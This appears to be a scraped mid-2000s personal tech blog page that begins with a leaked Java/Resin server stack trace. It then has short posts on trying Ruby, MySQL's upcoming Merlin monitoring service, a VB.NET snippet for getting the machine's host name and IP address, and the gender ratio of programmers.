at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.util.FilterChainProxy.doFilter(FilterChainProxy.java:173)
at org.acegisecurity.util.FilterToBeanProxy.doFilter(FilterToBeanProxy.java:120)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at com.caucho.server.webapp.DispatchFilterChain.doFilter(DispatchFilterChain.java:115)
at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:229)
at com.caucho.server.webapp.RequestDispatcherImpl.forward(RequestDispatcherImpl.java:277)
at com.caucho.server.webapp.RequestDispatcherImpl.forward(RequestDispatcherImpl.java:106)
at org.tuckey.web.filters.urlrewrite.RewrittenUrl.doRewrite(RewrittenUrl.java:176)
at org.tuckey.web.filters.urlrewrite.UrlRewriteFilter.doFilter(UrlRewriteFilter.java:728)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:292)
at org.acegisecurity.intercept.web.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:116)
at org.acegisecurity.intercept.web.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:79)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:143)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.providers.anonymous.AnonymousProcessingFilter.doFilter(AnonymousProcessingFilter.java:138)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.rememberme.RememberMeProcessingFilter.doFilter(RememberMeProcessingFilter.java:174)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.AbstractProcessingFilter.doFilter(AbstractProcessingFilter.java:246)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.context.HttpSessionContextIntegrationFilter.doFilter(HttpSessionContextIntegrationFilter.java:220)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.util.FilterChainProxy.doFilter(FilterChainProxy.java:173)
at org.acegisecurity.util.FilterToBeanProxy.doFilter(FilterToBeanProxy.java:120)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at com.caucho.server.cache.CacheFilterChain.doFilter(CacheFilterChain.java:209)
at com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java:173)
at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:229)
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:274)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:511)
at com.caucho.util.ThreadPool.runTasks(ThreadPool.java:516)
at com.caucho.util.ThreadPool.run(ThreadPool.java:442)
at java.lang.Thread.run(Thread.java:595)

Resin Professional 3.0.21 (built Thu, 10 Aug 2006 12:17:46 PDT)

No Comments





Got 15 minutes? Give Ruby a shot right now!
October 01 2006 @ 02:11 AM

Ruby is a programming language from Japan (available at ruby-lang.org) which is revolutionizing the web. The beauty of Ruby is found in its balance between simplicity and power.

I was going through the ruby borwser based intreactive session, its a swell. Im going to download it and have a try.

On a quick and smaller note AJAX is not here to stay.

2 Comments





MySQL database monitoring service
September 30 2006 @ 02:27 AM

Merlin is a server-based database monitoring and advisory service which continually scans a user's database network for any likely system crashes, bottlenecks or security vulnerabilities, the source said. Under development at MySQL for 22 months, Merlin is due to debut late in the fourth quarter of this calendar year or early in the first quarter of 2007. It's unclear whether Merlin contains any third-party software or if MySQL developers have modeled the offering on any existing database monitoring and advisory service.

The aim of Merlin is to simplify MySQL database administration for both small to midsize businesses (SMBs) and enterprises. While SMBs often can't afford to employ database administrators (DBAs) to look after their MySQL implementations, larger firms are running into difficulties trying to find sufficient DBAs with specific MySQL skills. Customer demand was a strong factor in the vendor deciding to create Merlin, the source added.

In an interview Friday, Marten Mickos, chief executive officer at MySQL, declined to comment on the project. However, he said that one of his company's main focuses in the coming year will be to provide tools and other offerings to make life easier for MySQL DBAs.

"Our first wave of users in the '90s were not database developers," Mickos said. "In the twenty-first century, we've been enabling database developers. Now, we're thinking of ways to help DBAs and take care of them."

Merlin acts as a "virtual DBA" or "a constant MySQL consultant," the source said, alerting users to potential system issues before they become critical and offering fixes, tips and tuning options to improve the performance of the MySQL database. So far, Merlin has 50-plus database rules that it can check and provide advice on, with the expectation that both MySQL and its customers will build more customized rules in future.

Merlin, now being beta-tested at 24 customer sites, will be rolled into the MySQL Network subscription service, the source said.

No Comments





Determine your computer's IP address with VB.NET
September 30 2006 @ 12:57 AM

System.Net.Dns class
This class offers a simple way of determining the IP address of a machine by utilizing its methods GetHostName and GetHostByName. The class also offers domain name resolution services. Its GetHostName method allows you to find out the host name of the current machine. You can use the GetHostByName method to determine the IP address of the machine.

Private Sub GetIPAddress()
Dim strHostName As String
Dim strIPAddress As String

strHostName = System.Net.Dns.GetHostName()
strIPAddress = System.Net.Dns.Resolve(strHostName).AddressList(0).ToString()
MessageBox.Show("Host Name: " & strHostName & "; IP Address: " & strIPAddress)
End Sub
--------------------------------------------------

Private Sub GetIPAddress()
Dim strHostName As String
Dim strIPAddress As String

strHostName = System.Net.Dns.GetHostName()
strIPAddress = System.Net.Dns.Resolve(strHostName).AddressList(0).ToString()
MessageBox.Show("Host Name: " & strHostName & "; IP Address: " & strIPAddress)
End Sub




No Comments





More guy developers than gals
February 28 2007 @ 01:11 AM

This is a very unusual post, nope I am not against gals or anything of that sort. I keep browsing technical sites, anything technical hits my eye, OUCH... so did this, the techincality here was, I find there are more guy developers than gals.

I am not speaking about web designers, graphic designers, project managers etc. What I am speaking here is about programmers who do coding.

Are the gals too lazy or the guys to excited

Well...

Links of further interest
How do you rate a programmer, even better rate yourself to other programmers if you are a programmer

9 Comments